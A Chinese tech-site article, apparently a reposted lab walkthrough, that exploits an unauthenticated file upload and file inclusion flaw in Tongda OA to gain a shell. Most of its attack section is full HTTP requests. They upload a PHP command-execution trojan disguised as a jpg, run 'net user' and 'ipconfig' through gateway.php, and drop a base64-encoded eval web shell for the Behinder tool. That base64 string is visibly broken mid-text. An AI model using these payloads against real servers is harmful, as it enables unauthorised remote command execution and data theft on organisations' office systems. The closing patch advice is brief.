您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
通達OA介紹:
通達OA(Office Anywhere網(wǎng)絡智能辦公系統(tǒng))是由北京通達信科科技有限公司自主研發(fā)的協(xié)同辦公自動化軟件,北京通達信科科技有限公司是一支以協(xié)同管理軟件研發(fā)與實施、服務與咨詢?yōu)橹鳡I業(yè)務的高科技團隊,是國內(nèi)協(xié)同管理軟件行業(yè)里唯一一家央企單位,中國協(xié)同管理軟件的領軍企業(yè)。
通達OA為各行業(yè)不同規(guī)模的眾多用戶提供信息化管理能力,包括流程審批、行政辦公、日常事務、數(shù)據(jù)統(tǒng)計分析、即時通訊、移動辦公等,幫助廣大用戶降低溝通和管理成本,提升生產(chǎn)和決策效率。該系統(tǒng)采用領先的B/S(瀏覽器/服務器)操作方式,使得網(wǎng)絡辦公不受地域限。通達Office Anywhere采用基于WEB的企業(yè)計算,主HTTP服務器采用了世界上最先進的Apache服務器,性能穩(wěn)定可靠。數(shù)據(jù)存取集中控制,避免了數(shù)據(jù)泄漏的可能。提供數(shù)據(jù)備份工具,保護系統(tǒng)數(shù)據(jù)安全。多級的權限控制,完善的密碼驗證與登錄驗證機制更加強了系統(tǒng)安全性。
漏洞影響的版本有:
V11版、2017版、2016版、2015版、2013增強版、2013版。
備注:
無需登錄,前臺即可實現(xiàn)漏洞利用
2013版:
文件上傳漏洞路徑:/ispirit/im/upload.php
文件包含漏洞路徑:/ispirit/interface/gateway.php
2017版:
文件上傳漏洞路徑:/ispirit/im/upload.php
文件包含漏洞路徑:/mac/gateway.php
漏洞環(huán)境:
靶機(Windows server 2008 R2)IP:172.16.0.45
通達OA:V 11.3版本
(1)下載通達OA V11.3版本以后,點擊運行TDOA11.3的應用程序運行文件
(2)確保80端口不被占用的情況下,將應用搭建在80端口,然后點擊下一步
(3)配置完成
(4)查看搭建的結果
(5)賬戶為admin,密碼為空,登陸到后端系統(tǒng)
(1)前臺任意文件上傳漏洞:無需登錄,抓取任意數(shù)據(jù)包,修改數(shù)據(jù)包進行重放,上傳后綴為jpg的木馬文件
POST /ispirit/im/upload.php HTTP/1.1Host: 172.16.0.45Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh2YB4pV8McGBAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5Cookie: PHPSESSID=123Connection: closeContent-Length: 660------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="UPLOAD_MODE"2------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="P"123------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="DEST_UID"1------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="ATTACHMENT"; filename="jpg"Content-Type: image/jpeg<?php$command=$_POST['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>------WebKitFormBoundarypyfBh2YB4pV8McGB--
(2)查看運行結果
(3)前臺文件包含漏洞:修改數(shù)據(jù)包,包含前面上傳的jpg木馬文件,即可實現(xiàn)執(zhí)行任意命令
此處執(zhí)行命令“net user”
POST /ispirit/interface/gateway.php HTTP/1.1Host: 172.16.0.45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 71json={"url":"/general/../../attach/im/2012/820434636.jpg"}&cmd=net user
(4)前臺文件包含漏洞:修改數(shù)據(jù)包,包含前面上傳的jpg木馬文件,即可實現(xiàn)執(zhí)行任意命令
此處執(zhí)行命令“ipconfig”
POST /ispirit/interface/gateway.php HTTP/1.1Host: 172.16.0.45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 73json={"url":"/general/../../attach/im/2012/820434636.jpg"}&cmd=ipconfig
(1)前臺任意文件上傳漏洞:抓取任意數(shù)據(jù)包,修改數(shù)據(jù)包進行重放,上傳后綴為jpg的木馬文件(木馬文件執(zhí)行寫入文件操作)
POST /ispirit/im/upload.php HTTP/1.1
Host: 172.16.0.45
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh2YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 1393
------WebKitFormBoundarypyfBh2YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh2YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh2YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh2YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$fp = fopen('shell.php', 'w');
$a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh2bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC ?
4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");
fwrite($fp, $a);
fclose($fp);
?>
------WebKitFormBoundarypyfBh2YB4pV8McGB--
(2)查看運行結果
(3)查看/webroot/ispirit/interface/目錄下的文件信息
(4)前臺文件包含漏洞:修改數(shù)據(jù)包,包含前面上傳的jpg木馬文件,會在文件包含的根目錄下生成一個 shell.php 文件
POST /ispirit/interface/gateway.php HTTP/1.1Host: 172.16.0.45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 73json={"url":"/general/../../attach/im/2012/213131861.jpg"}&cmd=ipconfig
(5)查看文件包含漏洞的執(zhí)行結果
(6)使用冰蝎進行連接:http://172.16.0.45/ispirit/interface/shell.php
密碼為:pass
PS:此處用蟻劍和菜刀無法進行連接
建議使用受影響版本的通達OA用戶登錄通達OA官網(wǎng),獲取最新補丁。請根據(jù)當前OA版本選擇所對應的程序文件,運行前請先做好備份。
看完上述內(nèi)容,你們對通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析有進一步的了解嗎?如果還想了解更多知識或者相關內(nèi)容,請關注億速云行業(yè)資訊頻道,感謝大家的支持。
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。